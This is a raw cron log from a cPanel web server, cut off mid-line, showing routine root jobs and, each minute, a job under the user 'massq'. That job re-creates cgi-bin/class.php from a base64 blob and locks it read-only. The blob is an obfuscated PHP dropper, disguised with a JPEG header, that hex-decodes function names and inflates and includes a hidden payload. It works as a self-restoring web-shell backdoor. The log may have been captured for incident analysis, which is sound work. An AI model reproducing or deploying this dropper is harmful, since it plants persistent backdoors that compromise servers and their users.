Apr 13 02:10:01 server CROND[10589]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:10:01 server CROND[10588]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 13 02:11:01 server CROND[10729]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:12:01 server CROND[10776]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 13 02:12:01 server CROND[10777]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:13:01 server CROND[10820]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:14:01 server CROND[10909]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:15:01 server CROND[11055]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 13 02:15:01 server CROND[11056]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:15:01 server CROND[11057]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 13 02:15:01 server CROND[11058]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr 13 02:16:01 server CROND[11166]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:17:01 server CROND[11212]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:18:01 server CROND[11260]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:19:01 server CROND[11330]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:20:01 server CROND[11478]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 13 02:20:01 server CROND[11482]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 13 02:20:01 server CROND[11483]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 13 02:20:01 server CROND[11481]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 13 02:20:01 server CROND[11484]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:21:01 server CROND[11593]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:22:01 server CROND[11646]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:23:01 server CROND[11695]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMo